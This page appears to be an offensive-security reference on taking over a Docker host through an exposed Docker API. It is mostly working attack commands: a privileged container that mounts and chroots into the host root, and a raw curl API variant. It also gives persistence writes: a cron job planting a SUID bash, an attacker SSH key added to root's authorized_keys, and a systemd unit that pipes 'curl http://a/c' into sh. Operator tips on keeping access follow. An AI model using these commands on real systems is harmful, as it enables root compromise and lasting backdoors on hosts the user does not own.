Host takeover via privileged run

Reaching the Docker API is the access; running the right container is the takeover. The daemon runs as root on the host, so a container it creates with the host root bind-mounted and the privileged flag set is, in effect, a root shell on the host. This is the final step whether the API was reached unauthenticated on 2375, through weak TLS on 2376, or through a mounted socket inside another container.

The decisive container#

bash
H=tcp://<target>:2375
# interactive host root
docker -H $H run -v /:/host --privileged --rm -it alpine chroot /host bash

Through the mount at /host, everything on the host is writable as root. Choose a persistence mechanism rather than only a shell:

bash
# cron job that drops a SUID bash on the host
echo '* * * * * root cp /bin/bash /tmp/rb; chmod +s /tmp/rb' > /host/etc/cron.d/x
# attacker SSH key for the host root account
mkdir -p /host/root/.ssh && echo 'ssh-ed25519 AAAA... a' >> /host/root/.ssh/authorized_keys
# a systemd unit executed on next boot or reload
printf '[Service]\nExecStart=/bin/sh -c "curl http://a/c|sh"\n[Install]\nWantedBy=multi-user.target\n' \
  > /host/etc/systemd/system/x.service

Raw API variant#

Without the Docker CLI, create and start the same container over the HTTP API:

bash
cid=$(curl -s -XPOST http://<target>:2375/containers/create \
  -H 'Content-Type: application/json' \
  -d '{"Image":"alpine","Cmd":["chroot","/host","sh","-c","id"],
       "HostConfig":{"Binds":["/:/host"],"Privileged":true}}' \
  | sed 's/.*"Id":"\([^"]*\)".*/\1/')
curl -s -XPOST http://<target>:2375/containers/$cid/start
curl -s "http://<target>:2375/containers/$cid/logs?stdout=1&stderr=1"

Exploitation notes#

  • Prefer a deterministic persistence write (cron, authorized_keys, systemd unit) over holding an interactive session, so access survives the container being removed.
  • Reuse an image the daemon already has to avoid pulling; docker -H $H images lists them, and any Linux base works because you immediately operate on the host mount.
  • A rootless daemon limits the mount to the invoking user's privileges; confirm with docker -H $H info | grep -i rootless and fall back to enumerating user-accessible secrets if so.
  • The mechanism is identical to a mounted runtime socket; see Runtime socket mount for the containerd and CRI-O equivalents.

References#

Cookie Consent

We use cookies to enhance your experience. Learn more